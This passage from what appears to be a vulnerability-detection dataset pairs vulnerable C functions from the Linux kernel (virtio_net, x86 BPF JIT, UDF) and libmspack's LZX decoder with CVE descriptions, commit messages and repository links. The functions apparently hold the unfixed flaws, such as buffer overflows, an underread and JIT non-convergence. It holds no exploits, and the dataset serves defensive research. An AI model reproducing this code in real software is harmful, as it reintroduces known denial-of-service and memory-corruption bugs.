NETIF_F_GSO_ROBUST; if (gso) dev->features |= dev->hw_features & (NETIF_F_ALL_TSO|NETIF_F_UFO); /* (!csum && gso) case will be fixed by register_netdev() */ } if (virtio_has_feature(vdev, VIRTIO_NET_F_GUEST_CSUM)) dev->features |= NETIF_F_RXCSUM; dev->vlan_features = dev->features; /* Configuration may specify what MAC to use. Otherwise random. */ if (virtio_has_feature(vdev, VIRTIO_NET_F_MAC)) virtio_cread_bytes(vdev, offsetof(struct virtio_net_config, mac), dev->dev_addr, dev->addr_len); else eth_hw_addr_random(dev); /* Set up our device-specific information */ vi = netdev_priv(dev); vi->dev = dev; vi->vdev = vdev; vdev->priv = vi; vi->stats = alloc_percpu(struct virtnet_stats); err = -ENOMEM; if (vi->stats == NULL) goto free; for_each_possible_cpu(i) { struct virtnet_stats *virtnet_stats; virtnet_stats = per_cpu_ptr(vi->stats, i); u64_stats_init(&virtnet_stats->tx_syncp); u64_stats_init(&virtnet_stats->rx_syncp); } INIT_WORK(&vi->config_work, virtnet_config_changed_work); /* If we can receive ANY GSO packets, we must allocate large ones. */ if (virtio_has_feature(vdev, VIRTIO_NET_F_GUEST_TSO4) || virtio_has_feature(vdev, VIRTIO_NET_F_GUEST_TSO6) || virtio_has_feature(vdev, VIRTIO_NET_F_GUEST_ECN) || virtio_has_feature(vdev, VIRTIO_NET_F_GUEST_UFO)) vi->big_packets = true; if (virtio_has_feature(vdev, VIRTIO_NET_F_MRG_RXBUF)) vi->mergeable_rx_bufs = true; if (virtio_has_feature(vdev, VIRTIO_NET_F_MRG_RXBUF) || virtio_has_feature(vdev, VIRTIO_F_VERSION_1)) vi->hdr_len = sizeof(struct virtio_net_hdr_mrg_rxbuf); else vi->hdr_len = sizeof(struct virtio_net_hdr); if (virtio_has_feature(vdev, VIRTIO_F_ANY_LAYOUT) || virtio_has_feature(vdev, VIRTIO_F_VERSION_1)) vi->any_header_sg = true; if (virtio_has_feature(vdev, VIRTIO_NET_F_CTRL_VQ)) vi->has_cvq = true; if (vi->any_header_sg) dev->needed_headroom = vi->hdr_len; /* Use single tx/rx queue pair as default */ vi->curr_queue_pairs = 1; vi->max_queue_pairs = max_queue_pairs; /* Allocate/initialize the rx/tx queues, and invoke find_vqs */ err = init_vqs(vi); if (err) goto free_stats; #ifdef CONFIG_SYSFS if (vi->mergeable_rx_bufs) dev->sysfs_rx_queue_group = &virtio_net_mrg_rx_group; #endif netif_set_real_num_tx_queues(dev, vi->curr_queue_pairs); netif_set_real_num_rx_queues(dev, vi->curr_queue_pairs); err = register_netdev(dev); if (err) { pr_debug("virtio_net: registering device failed\n"); goto free_vqs; } virtio_device_ready(vdev); /* Last of all, set up some receive buffers. */ for (i = 0; i < vi->curr_queue_pairs; i++) { try_fill_recv(vi, &vi->rq[i], GFP_KERNEL); /* If we didn't even get one input buffer, we're useless. */ if (vi->rq[i].vq->num_free == virtqueue_get_vring_size(vi->rq[i].vq)) { free_unused_bufs(vi); err = -ENOMEM; goto free_recv_bufs; } } vi->nb.notifier_call = &virtnet_cpu_callback; err = register_hotcpu_notifier(&vi->nb); if (err) { pr_debug("virtio_net: registering cpu notifier failed\n"); goto free_recv_bufs; } /* Assume link up if device can't report link status, otherwise get link status from config. */ if (virtio_has_feature(vi->vdev, VIRTIO_NET_F_STATUS)) { netif_carrier_off(dev); schedule_work(&vi->config_work); } else { vi->status = VIRTIO_NET_S_LINK_UP; netif_carrier_on(dev); } pr_debug("virtnet: registered device %s with %d RX and TX vq's\n", dev->name, max_queue_pairs); return 0; free_recv_bufs: vi->vdev->config->reset(vdev); free_receive_bufs(vi); unregister_netdev(dev); free_vqs: cancel_delayed_work_sync(&vi->refill); free_receive_page_frags(vi); virtnet_del_vqs(vi); free_stats: free_percpu(vi->stats); free: free_netdev(dev); return err; }

virtio_net.c

CVE-2015-5156

The virtnet_probe function in drivers/net/virtio_net.c in the Linux kernel before 4.2 attempts to support a FRAGLIST feature without proper memory allocation, which allows guest OS users to cause a denial of service (buffer overflow and memory corruption) via a crafted sequence of fragmented packets.

https://nvd.nist.gov/vuln/detail/CVE-2015-5156

linux

3f7352bf21f8fd7ba3e2fcef9488756f188e12be

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/3f7352bf21f8fd7ba3e2fcef9488756f188e12be

x86: bpf_jit: fix compilation of large bpf programs x86 has variable length encoding. x86 JIT compiler is trying to pick the shortest encoding for given bpf instruction. While doing so the jump targets are changing, so JIT is doing multiple passes over the program. Typical program needs 3 passes. Some very short programs converge with 2 passes. Large programs may need 4 or 5. But specially crafted bpf programs may hit the pass limit and if the program converges on the last iteration the JIT compiler will be producing an image full of 'int 3' insns. Fix this corner case by doing final iteration over bpf program. Fixes: 0a14842f5a3c ("net: filter: Just In Time compiler for x86-64") Reported-by: Daniel Borkmann <daniel@iogearbox.net> Signed-off-by: Alexei Starovoitov <ast@plumgrid.com> Tested-by: Daniel Borkmann <daniel@iogearbox.net> Acked-by: Daniel Borkmann <daniel@iogearbox.net> Signed-off-by: David S. Miller <davem@davemloft.net>

void bpf_int_jit_compile(struct bpf_prog *prog) { struct bpf_binary_header *header = NULL; int proglen, oldproglen = 0; struct jit_context ctx = {}; u8 *image = NULL; int *addrs; int pass; int i; if (!bpf_jit_enable) return; if (!prog || !prog->len) return; addrs = kmalloc(prog->len * sizeof(*addrs), GFP_KERNEL); if (!addrs) return; /* Before first pass, make a rough estimation of addrs[] * each bpf instruction is translated to less than 64 bytes */ for (proglen = 0, i = 0; i < prog->len; i++) { proglen += 64; addrs[i] = proglen; } ctx.cleanup_addr = proglen; for (pass = 0; pass < 10; pass++) { proglen = do_jit(prog, addrs, image, oldproglen, &ctx); if (proglen <= 0) { image = NULL; if (header) bpf_jit_binary_free(header); goto out; } if (image) { if (proglen != oldproglen) { pr_err("bpf_jit: proglen=%d != oldproglen=%d\n", proglen, oldproglen); goto out; } break; } if (proglen == oldproglen) { header = bpf_jit_binary_alloc(proglen, &image, 1, jit_fill_hole); if (!header) goto out; } oldproglen = proglen; } if (bpf_jit_enable > 1) bpf_jit_dump(prog->len, proglen, 0, image); if (image) { bpf_flush_icache(header, image + proglen); set_memory_ro((unsigned long)header, header->pages); prog->bpf_func = (void *)image; prog->jited = true; } out: kfree(addrs); }

bpf_jit_comp.c

CVE-2015-4700

The bpf_int_jit_compile function in arch/x86/net/bpf_jit_comp.c in the Linux kernel before 4.0.6 allows local users to cause a denial of service (system crash) by creating a packet filter and then loading crafted BPF instructions that trigger late convergence by the JIT compiler.

https://nvd.nist.gov/vuln/detail/CVE-2015-4700

libmspack

18b6a2cc0b87536015bedd4f7763e6b02d5aa4f3

https://github.com/kyz/libmspack

https://github.com/kyz/libmspack/commit/18b6a2cc0b87536015bedd4f7763e6b02d5aa4f3

Prevent a 1-byte underread of the input buffer if an odd-sized data block comes just before an uncompressed block header

int lzxd_decompress(struct lzxd_stream *lzx, off_t out_bytes) { /* bitstream and huffman reading variables */ register unsigned int bit_buffer; register int bits_left, i=0; unsigned char *i_ptr, *i_end; register unsigned short sym; int match_length, length_footer, extra, verbatim_bits, bytes_todo; int this_run, main_element, aligned_bits, j; unsigned char *window, *runsrc, *rundest, buf[12]; unsigned int frame_size=0, end_frame, match_offset, window_posn; unsigned int R0, R1, R2; /* easy answers */ if (!lzx || (out_bytes < 0)) return MSPACK_ERR_ARGS; if (lzx->error) return lzx->error; /* flush out any stored-up bytes before we begin */ i = lzx->o_end - lzx->o_ptr; if ((off_t) i > out_bytes) i = (int) out_bytes; if (i) { if (lzx->sys->write(lzx->output, lzx->o_ptr, i) != i) { return lzx->error = MSPACK_ERR_WRITE; } lzx->o_ptr += i; lzx->offset += i; out_bytes -= i; } if (out_bytes == 0) return MSPACK_ERR_OK; /* restore local state */ RESTORE_BITS; window = lzx->window; window_posn = lzx->window_posn; R0 = lzx->R0; R1 = lzx->R1; R2 = lzx->R2; end_frame = (unsigned int)((lzx->offset + out_bytes) / LZX_FRAME_SIZE) + 1; while (lzx->frame < end_frame) { /* have we reached the reset interval? (if there is one?) */ if (lzx->reset_interval && ((lzx->frame % lzx->reset_interval) == 0)) { if (lzx->block_remaining) { D(("%d bytes remaining at reset interval", lzx->block_remaining)) return lzx->error = MSPACK_ERR_DECRUNCH; } /* re-read the intel header and reset the huffman lengths */ lzxd_reset_state(lzx); R0 = lzx->R0; R1 = lzx->R1; R2 = lzx->R2; } /* LZX DELTA format has chunk_size, not present in LZX format */ if (lzx->is_delta) { ENSURE_BITS(16); REMOVE_BITS(16); } /* read header if necessary */ if (!lzx->header_read) { /* read 1 bit. if bit=0, intel filesize = 0. * if bit=1, read intel filesize (32 bits) */ j = 0; READ_BITS(i, 1); if (i) { READ_BITS(i, 16); READ_BITS(j, 16); } lzx->intel_filesize = (i << 16) | j; lzx->header_read = 1; } /* calculate size of frame: all frames are 32k except the final frame * which is 32kb or less. this can only be calculated when lzx->length * has been filled in. */ frame_size = LZX_FRAME_SIZE; if (lzx->length && (lzx->length - lzx->offset) < (off_t)frame_size) { frame_size = lzx->length - lzx->offset; } /* decode until one more frame is available */ bytes_todo = lzx->frame_posn + frame_size - window_posn; while (bytes_todo > 0) { /* initialise new block, if one is needed */ if (lzx->block_remaining == 0) { /* realign if previous block was an odd-sized UNCOMPRESSED block */ if ((lzx->block_type == LZX_BLOCKTYPE_UNCOMPRESSED) && (lzx->block_length & 1)) { READ_IF_NEEDED; i_ptr++; } /* read block type (3 bits) and block length (24 bits) */ READ_BITS(lzx->block_type, 3); READ_BITS(i, 16); READ_BITS(j, 8); lzx->block_remaining = lzx->block_length = (i << 8) | j; /*D(("new block t%d len %u", lzx->block_type, lzx->block_length))*/ /* read individual block headers */ switch (lzx->block_type) { case LZX_BLOCKTYPE_ALIGNED: /* read lengths of and build aligned huffman decoding tree */ for (i = 0; i < 8; i++) { READ_BITS(j, 3); lzx->ALIGNED_len[i] = j; } BUILD_TABLE(ALIGNED); /* no break -- rest of aligned header is same as verbatim */ case LZX_BLOCKTYPE_VERBATIM: /* read lengths of and build main huffman decoding tree */ READ_LENGTHS(MAINTREE, 0, 256); READ_LENGTHS(MAINTREE, 256, LZX_NUM_CHARS + lzx->num_offsets); BUILD_TABLE(MAINTREE); /* if the literal 0xE8 is anywhere in the block... */ if (lzx->MAINTREE_len[0xE8] != 0) lzx->intel_started = 1; /* read lengths of and build lengths huffman decoding tree */ READ_LENGTHS(LENGTH, 0, LZX_NUM_SECONDARY_LENGTHS); BUILD_TABLE_MAYBE_EMPTY(LENGTH); break; case LZX_BLOCKTYPE_UNCOMPRESSED: /* because we can't assume otherwise */ lzx->intel_started = 1; /* read 1-16 (not 0-15) bits to align to bytes */ ENSURE_BITS(16); if (bits_left > 16) i_ptr -= 2; bits_left = 0; bit_buffer = 0; /* read 12 bytes of stored R0 / R1 / R2 values */ for (rundest = &buf[0], i = 0; i < 12; i++) { READ_IF_NEEDED; *rundest++ = *i_ptr++; } R0 = buf[0] | (buf[1] << 8) | (buf[2] << 16) | (buf[3] << 24); R1 = buf[4] | (buf[5] << 8) | (buf[6] << 16) | (buf[7] << 24); R2 = buf[8] | (buf[9] << 8) | (buf[10] << 16) | (buf[11] << 24); break; default: D(("bad block type")) return lzx->error = MSPACK_ERR_DECRUNCH; } } /* decode more of the block: * run = min(what's available, what's needed) */ this_run = lzx->block_remaining; if (this_run > bytes_todo) this_run = bytes_todo; /* assume we decode exactly this_run bytes, for now */ bytes_todo -= this_run; lzx->block_remaining -= this_run; /* decode at least this_run bytes */ switch (lzx->block_type) { case LZX_BLOCKTYPE_VERBATIM: while (this_run > 0) { READ_HUFFSYM(MAINTREE, main_element); if (main_element < LZX_NUM_CHARS) { /* literal: 0 to LZX_NUM_CHARS-1 */ window[window_posn++] = main_element; this_run--; } else { /* match: LZX_NUM_CHARS + ((slot<<3) | length_header (3 bits)) */ main_element -= LZX_NUM_CHARS; /* get match length */ match_length = main_element & LZX_NUM_PRIMARY_LENGTHS; if (match_length == LZX_NUM_PRIMARY_LENGTHS) { if (lzx->LENGTH_empty) { D(("LENGTH symbol needed but tree is empty")) return lzx->error = MSPACK_ERR_DECRUNCH; } READ_HUFFSYM(LENGTH, length_footer); match_length += length_footer; } match_length += LZX_MIN_MATCH; /* get match offset */ switch ((match_offset = (main_element >> 3))) { case 0: match_offset = R0; break; case 1: match_offset = R1; R1=R0; R0 = match_offset; break; case 2: match_offset = R2; R2=R0; R0 = match_offset; break; case 3: match_offset = 1; R2=R1; R1=R0; R0 = match_offset; break; default: extra = (match_offset >= 36) ? 17 : extra_bits[match_offset]; READ_BITS(verbatim_bits, extra); match_offset = position_base[match_offset] - 2 + verbatim_bits; R2 = R1; R1 = R0; R0 = match_offset; } /* LZX DELTA uses max match length to signal even longer match */ if (match_length == LZX_MAX_MATCH && lzx->is_delta) { int extra_len = 0; ENSURE_BITS(3); /* 4 entry huffman tree */ if (PEEK_BITS(1) == 0) { REMOVE_BITS(1); /* '0' -> 8 extra length bits */ READ_BITS(extra_len, 8); } else if (PEEK_BITS(2) == 2) { REMOVE_BITS(2); /* '10' -> 10 extra length bits + 0x100 */ READ_BITS(extra_len, 10); extra_len += 0x100; } else if (PEEK_BITS(3) == 6) { REMOVE_BITS(3); /* '110' -> 12 extra length bits + 0x500 */ READ_BITS(extra_len, 12); extra_len += 0x500; } else { REMOVE_BITS(3); /* '111' -> 15 extra length bits */ READ_BITS(extra_len, 15); } match_length += extra_len; } if ((window_posn + match_length) > lzx->window_size) { D(("match ran over window wrap")) return lzx->error = MSPACK_ERR_DECRUNCH; } /* copy match */ rundest = &window[window_posn]; i = match_length; /* does match offset wrap the window? */ if (match_offset > window_posn) { if (match_offset > lzx->offset && (match_offset - window_posn) > lzx->ref_data_size) { D(("match offset beyond LZX stream")) return lzx->error = MSPACK_ERR_DECRUNCH; } /* j = length from match offset to end of window */ j = match_offset - window_posn; if (j > (int) lzx->window_size) { D(("match offset beyond window boundaries")) return lzx->error = MSPACK_ERR_DECRUNCH; } runsrc = &window[lzx->window_size - j]; if (j < i) { /* if match goes over the window edge, do two copy runs */ i -= j; while (j-- > 0) *rundest++ = *runsrc++; runsrc = window; } while (i-- > 0) *rundest++ = *runsrc++; } else { runsrc = rundest - match_offset; while (i-- > 0) *rundest++ = *runsrc++; } this_run -= match_length; window_posn += match_length; } } /* while (this_run > 0) */ break; case LZX_BLOCKTYPE_ALIGNED: while (this_run > 0) { READ_HUFFSYM(MAINTREE, main_element); if (main_element < LZX_NUM_CHARS) { /* literal: 0 to LZX_NUM_CHARS-1 */ window[window_posn++] = main_element; this_run--; } else { /* match: LZX_NUM_CHARS + ((slot<<3) | length_header (3 bits)) */ main_element -= LZX_NUM_CHARS; /* get match length */ match_length = main_element & LZX_NUM_PRIMARY_LENGTHS; if (match_length == LZX_NUM_PRIMARY_LENGTHS) { if (lzx->LENGTH_empty) { D(("LENGTH symbol needed but tree is empty")) return lzx->error = MSPACK_ERR_DECRUNCH; } READ_HUFFSYM(LENGTH, length_footer); match_length += length_footer; } match_length += LZX_MIN_MATCH; /* get match offset */ switch ((match_offset = (main_element >> 3))) { case 0: match_offset = R0; break; case 1: match_offset = R1; R1 = R0; R0 = match_offset; break; case 2: match_offset = R2; R2 = R0; R0 = match_offset; break; default: extra = (match_offset >= 36) ? 17 : extra_bits[match_offset]; match_offset = position_base[match_offset] - 2; if (extra > 3) { /* verbatim and aligned bits */ extra -= 3; READ_BITS(verbatim_bits, extra); match_offset += (verbatim_bits << 3); READ_HUFFSYM(ALIGNED, aligned_bits); match_offset += aligned_bits; } else if (extra == 3) { /* aligned bits only */ READ_HUFFSYM(ALIGNED, aligned_bits); match_offset += aligned_bits; } else if (extra > 0) { /* extra==1, extra==2 */ /* verbatim bits only */ READ_BITS(verbatim_bits, extra); match_offset += verbatim_bits; } else /* extra == 0 */ { /* ??? not defined in LZX specification! */ match_offset = 1; } /* update repeated offset LRU queue */ R2 = R1; R1 = R0; R0 = match_offset; } /* LZX DELTA uses max match length to signal even longer match */ if (match_length == LZX_MAX_MATCH && lzx->is_delta) { int extra_len = 0; ENSURE_BITS(3); /* 4 entry huffman tree */ if (PEEK_BITS(1) == 0) { REMOVE_BITS(1); /* '0' -> 8 extra length bits */ READ_BITS(extra_len, 8); } else if (PEEK_BITS(2) == 2) { REMOVE_BITS(2); /* '10' -> 10 extra length bits + 0x100 */ READ_BITS(extra_len, 10); extra_len += 0x100; } else if (PEEK_BITS(3) == 6) { REMOVE_BITS(3); /* '110' -> 12 extra length bits + 0x500 */ READ_BITS(extra_len, 12); extra_len += 0x500; } else { REMOVE_BITS(3); /* '111' -> 15 extra length bits */ READ_BITS(extra_len, 15); } match_length += extra_len; } if ((window_posn + match_length) > lzx->window_size) { D(("match ran over window wrap")) return lzx->error = MSPACK_ERR_DECRUNCH; } /* copy match */ rundest = &window[window_posn]; i = match_length; /* does match offset wrap the window? */ if (match_offset > window_posn) { if (match_offset > lzx->offset && (match_offset - window_posn) > lzx->ref_data_size) { D(("match offset beyond LZX stream")) return lzx->error = MSPACK_ERR_DECRUNCH; } /* j = length from match offset to end of window */ j = match_offset - window_posn; if (j > (int) lzx->window_size) { D(("match offset beyond window boundaries")) return lzx->error = MSPACK_ERR_DECRUNCH; } runsrc = &window[lzx->window_size - j]; if (j < i) { /* if match goes over the window edge, do two copy runs */ i -= j; while (j-- > 0) *rundest++ = *runsrc++; runsrc = window; } while (i-- > 0) *rundest++ = *runsrc++; } else { runsrc = rundest - match_offset; while (i-- > 0) *rundest++ = *runsrc++; } this_run -= match_length; window_posn += match_length; } } /* while (this_run > 0) */ break; case LZX_BLOCKTYPE_UNCOMPRESSED: /* as this_run is limited not to wrap a frame, this also means it * won't wrap the window (as the window is a multiple of 32k) */ rundest = &window[window_posn]; window_posn += this_run; while (this_run > 0) { if ((i = i_end - i_ptr) == 0) { READ_IF_NEEDED; } else { if (i > this_run) i = this_run; lzx->sys->copy(i_ptr, rundest, (size_t) i); rundest += i; i_ptr += i; this_run -= i; } } break; default: return lzx->error = MSPACK_ERR_DECRUNCH; /* might as well */ } /* did the final match overrun our desired this_run length? */ if (this_run < 0) { if ((unsigned int)(-this_run) > lzx->block_remaining) { D(("overrun went past end of block by %d (%d remaining)", -this_run, lzx->block_remaining )) return lzx->error = MSPACK_ERR_DECRUNCH; } lzx->block_remaining -= -this_run; } } /* while (bytes_todo > 0) */ /* streams don't extend over frame boundaries */ if ((window_posn - lzx->frame_posn) != frame_size) { D(("decode beyond output frame limits! %d != %d", window_posn - lzx->frame_posn, frame_size)) return lzx->error = MSPACK_ERR_DECRUNCH; } /* re-align input bitstream */ if (bits_left > 0) ENSURE_BITS(16); if (bits_left & 15) REMOVE_BITS(bits_left & 15); /* check that we've used all of the previous frame first */ if (lzx->o_ptr != lzx->o_end) { D(("%ld avail bytes, new %d frame", (long)(lzx->o_end - lzx->o_ptr), frame_size)) return lzx->error = MSPACK_ERR_DECRUNCH; } /* does this intel block _really_ need decoding? */ if (lzx->intel_started && lzx->intel_filesize && (lzx->frame <= 32768) && (frame_size > 10)) { unsigned char *data = &lzx->e8_buf[0]; unsigned char *dataend = &lzx->e8_buf[frame_size - 10]; signed int curpos = lzx->intel_curpos; signed int filesize = lzx->intel_filesize; signed int abs_off, rel_off; /* copy e8 block to the e8 buffer and tweak if needed */ lzx->o_ptr = data; lzx->sys->copy(&lzx->window[lzx->frame_posn], data, frame_size); while (data < dataend) { if (*data++ != 0xE8) { curpos++; continue; } abs_off = data[0] | (data[1]<<8) | (data[2]<<16) | (data[3]<<24); if ((abs_off >= -curpos) && (abs_off < filesize)) { rel_off = (abs_off >= 0) ? abs_off - curpos : abs_off + filesize; data[0] = (unsigned char) rel_off; data[1] = (unsigned char) (rel_off >> 8); data[2] = (unsigned char) (rel_off >> 16); data[3] = (unsigned char) (rel_off >> 24); } data += 4; curpos += 5; } lzx->intel_curpos += frame_size; } else { lzx->o_ptr = &lzx->window[lzx->frame_posn]; if (lzx->intel_filesize) lzx->intel_curpos += frame_size; } lzx->o_end = &lzx->o_ptr[frame_size]; /* write a frame */ i = (out_bytes < (off_t)frame_size) ? (unsigned int)out_bytes : frame_size; if (lzx->sys->write(lzx->output, lzx->o_ptr, i) != i) { return lzx->error = MSPACK_ERR_WRITE; } lzx->o_ptr += i; lzx->offset += i; out_bytes -= i; /* advance frame start position */ lzx->frame_posn += frame_size; lzx->frame++; /* wrap window / frame position pointers */ if (window_posn == lzx->window_size) window_posn = 0; if (lzx->frame_posn == lzx->window_size) lzx->frame_posn = 0; } /* while (lzx->frame < end_frame) */ if (out_bytes) { D(("bytes left to output")) return lzx->error = MSPACK_ERR_DECRUNCH; } /* store local state */ STORE_BITS; lzx->window_posn = window_posn; lzx->R0 = R0; lzx->R1 = R1; lzx->R2 = R2; return MSPACK_ERR_OK; }

lzxd.c

CVE-2015-4471

Off-by-one error in the lzxd_decompress function in lzxd.c in libmspack before 0.5 allows remote attackers to cause a denial of service (buffer under-read and application crash) via a crafted CAB archive.

https://nvd.nist.gov/vuln/detail/CVE-2015-4471

linux

23b133bdc452aa441fcb9b82cbf6dd05cfd342d0

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/23b133bdc452aa441fcb9b82cbf6dd05cfd342d0

udf: Check length of extended attributes and allocation descriptors Check length of extended attributes and allocation descriptors when loading inodes from disk. Otherwise corrupted filesystems could confuse the code and make the kernel oops. Reported-by: Carl Henrik Lunde <chlunde@ping.uio.no> CC: stable@vger.kernel.org Signed-off-by: Jan Kara <jack@suse.cz>

static int udf_read_inode(struct inode *inode, bool hidden_inode) { struct buffer_head *bh = NULL; struct fileEntry *fe; struct extendedFileEntry *efe; uint16_t ident; struct udf_inode_info *iinfo = UDF_I(inode); struct udf_sb_info *sbi = UDF_SB(inode->i_sb); struct kernel_lb_addr *iloc = &iinfo->i_location; unsigned int link_count; unsigned int indirections = 0; int bs = inode->i_sb->s_blocksize; int ret = -EIO; reread: if (iloc->logicalBlockNum >= sbi->s_partmaps[iloc->partitionReferenceNum].s_partition_len) { udf_debug("block=%d, partition=%d out of range\n", iloc->logicalBlockNum, iloc->partitionReferenceNum); return -EIO; } /* * Set defaults, but the inode is still incomplete! * Note: get_new_inode() sets the following on a new inode: * i_sb = sb * i_no = ino * i_flags = sb->s_flags * i_state = 0 * clean_inode(): zero fills and sets * i_count = 1 * i_nlink = 1 * i_op = NULL; */ bh = udf_read_ptagged(inode->i_sb, iloc, 0, &ident); if (!bh) { udf_err(inode->i_sb, "(ino %ld) failed !bh\n", inode->i_ino); return -EIO; } if (ident != TAG_IDENT_FE && ident != TAG_IDENT_EFE && ident != TAG_IDENT_USE) { udf_err(inode->i_sb, "(ino %ld) failed ident=%d\n", inode->i_ino, ident); goto out; } fe = (struct fileEntry *)bh->b_data; efe = (struct extendedFileEntry *)bh->b_data; if (fe->icbTag.strategyType == cpu_to_le16(4096)) { struct buffer_head *ibh; ibh = udf_read_ptagged(inode->i_sb, iloc, 1, &ident); if (ident == TAG_IDENT_IE && ibh) { struct kernel_lb_addr loc; struct indirectEntry *ie; ie = (struct indirectEntry *)ibh->b_data; loc = lelb_to_cpu(ie->indirectICB.extLocation); if (ie->indirectICB.extLength) { brelse(ibh); memcpy(&iinfo->i_location, &loc, sizeof(struct kernel_lb_addr)); if (++indirections > UDF_MAX_ICB_NESTING) { udf_err(inode->i_sb, "too many ICBs in ICB hierarchy" " (max %d supported)\n", UDF_MAX_ICB_NESTING); goto out; } brelse(bh); goto reread; } } brelse(ibh); } else if (fe->icbTag.strategyType != cpu_to_le16(4)) { udf_err(inode->i_sb, "unsupported strategy type: %d\n", le16_to_cpu(fe->icbTag.strategyType)); goto out; } if (fe->icbTag.strategyType == cpu_to_le16(4)) iinfo->i_strat4096 = 0; else /* if (fe->icbTag.strategyType == cpu_to_le16(4096)) */ iinfo->i_strat4096 = 1; iinfo->i_alloc_type = le16_to_cpu(fe->icbTag.flags) & ICBTAG_FLAG_AD_MASK; iinfo->i_unique = 0; iinfo->i_lenEAttr = 0; iinfo->i_lenExtents = 0; iinfo->i_lenAlloc = 0; iinfo->i_next_alloc_block = 0; iinfo->i_next_alloc_goal = 0; if (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_EFE)) { iinfo->i_efe = 1; iinfo->i_use = 0; ret = udf_alloc_i_data(inode, bs - sizeof(struct extendedFileEntry)); if (ret) goto out; memcpy(iinfo->i_ext.i_data, bh->b_data + sizeof(struct extendedFileEntry), bs - sizeof(struct extendedFileEntry)); } else if (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_FE)) { iinfo->i_efe = 0; iinfo->i_use = 0; ret = udf_alloc_i_data(inode, bs - sizeof(struct fileEntry)); if (ret) goto out; memcpy(iinfo->i_ext.i_data, bh->b_data + sizeof(struct fileEntry), bs - sizeof(struct fileEntry)); } else if (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_USE)) { iinfo->i_efe = 0; iinfo->i_use = 1; iinfo->i_lenAlloc = le32_to_cpu( ((struct unallocSpaceEntry *)bh->b_data)-> lengthAllocDescs); ret = udf_alloc_i_data(inode, bs - sizeof(struct unallocSpaceEntry)); if (ret) goto out; memcpy(iinfo->i_ext.i_data, bh->b_data + sizeof(struct unallocSpaceEntry), bs - sizeof(struct unallocSpaceEntry)); return 0; } ret = -EIO; read_lock(&sbi->s_cred_lock); i_uid_write(inode, le32_to_cpu(fe->uid)); if (!uid_valid(inode->i_uid) || UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_UID_IGNORE) || UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_UID_SET)) inode->i_uid = UDF_SB(inode->i_sb)->s_uid; i_gid_write(inode, le32_to_cpu(fe->gid)); if (!gid_valid(inode->i_gid) || UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_GID_IGNORE) || UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_GID_SET)) inode->i_gid = UDF_SB(inode->i_sb)->s_gid; if (fe->icbTag.fileType != ICBTAG_FILE_TYPE_DIRECTORY && sbi->s_fmode != UDF_INVALID_MODE) inode->i_mode = sbi->s_fmode; else if (fe->icbTag.fileType == ICBTAG_FILE_TYPE_DIRECTORY && sbi->s_dmode != UDF_INVALID_MODE) inode->i_mode = sbi->s_dmode; else inode->i_mode = udf_convert_permissions(fe); inode->i_mode &= ~sbi->s_umask; read_unlock(&sbi->s_cred_lock); link_count = le16_to_cpu(fe->fileLinkCount); if (!link_count) { if (!hidden_inode) { ret = -ESTALE; goto out; } link_count = 1; } set_nlink(inode, link_count); inode->i_size = le64_to_cpu(fe->informationLength); iinfo->i_lenExtents = inode->i_size; if (iinfo->i_efe == 0) { inode->i_blocks = le64_to_cpu(fe->logicalBlocksRecorded) << (inode->i_sb->s_blocksize_bits - 9); if (!udf_disk_stamp_to_time(&inode->i_atime, fe->accessTime)) inode->i_atime = sbi->s_record_time; if (!udf_disk_stamp_to_time(&inode->i_mtime, fe->modificationTime)) inode->i_mtime = sbi->s_record_time; if (!udf_disk_stamp_to_time(&inode->i_ctime, fe->attrTime)) inode->i_ctime = sbi->s_record_time; iinfo->i_unique = le64_to_cpu(fe->uniqueID); iinfo->i_lenEAttr = le32_to_cpu(fe->lengthExtendedAttr); iinfo->i_lenAlloc = le32_to_cpu(fe->lengthAllocDescs); iinfo->i_checkpoint = le32_to_cpu(fe->checkpoint); } else { inode->i_blocks = le64_to_cpu(efe->logicalBlocksRecorded) << (inode->i_sb->s_blocksize_bits - 9); if (!udf_disk_stamp_to_time(&inode->i_atime, efe->accessTime)) inode->i_atime = sbi->s_record_time; if (!udf_disk_stamp_to_time(&inode->i_mtime, efe->modificationTime)) inode->i_mtime = sbi->s_record_time; if (!udf_disk_stamp_to_time(&iinfo->i_crtime, efe->createTime)) iinfo->i_crtime = sbi->s_record_time; if (!udf_disk_stamp_to_time(&inode->i_ctime, efe->attrTime)) inode->i_ctime = sbi->s_record_time; iinfo->i_unique = le64_to_cpu(efe->uniqueID); iinfo->i_lenEAttr = le32_to_cpu(efe->lengthExtendedAttr); iinfo->i_lenAlloc = le32_to_cpu(efe->lengthAllocDescs); iinfo->i_checkpoint = le32_to_cpu(efe->checkpoint); } inode->i_generation = iinfo->i_unique; /* Sanity checks for files in ICB so that we don't get confused later */ if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) { /* * For file in ICB data is stored in allocation descriptor * so sizes should match */ if (iinfo->i_lenAlloc != inode->i_size) goto out; /* File in ICB has to fit in there... */ if (inode->i_size > bs - udf_file_entry_alloc_offset(inode)) goto out; } switch (fe->icbTag.fileType) { case ICBTAG_FILE_TYPE_DIRECTORY: inode->i_op = &udf_dir_inode_operations; inode->i_fop = &udf_dir_operations; inode->i_mode |= S_IFDIR; inc_nlink(inode); break; case ICBTAG_FILE_TYPE_REALTIME: case ICBTAG_FILE_TYPE_REGULAR: case ICBTAG_FILE_TYPE_UNDEF: case ICBTAG_FILE_TYPE_VAT20: if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) inode->i_data.a_ops = &udf_adinicb_aops; else inode->i_data.a_ops = &udf_aops; inode->i_op = &udf_file_inode_operations; inode->i_fop = &udf_file_operations; inode->i_mode |= S_IFREG; break; case ICBTAG_FILE_TYPE_BLOCK: inode->i_mode |= S_IFBLK; break; case ICBTAG_FILE_TYPE_CHAR: inode->i_mode |= S_IFCHR; break; case ICBTAG_FILE_TYPE_FIFO: init_special_inode(inode, inode->i_mode | S_IFIFO, 0); break; case ICBTAG_FILE_TYPE_SOCKET: init_special_inode(inode, inode->i_mode | S_IFSOCK, 0); break; case ICBTAG_FILE_TYPE_SYMLINK: inode->i_data.a_ops = &udf_symlink_aops; inode->i_op = 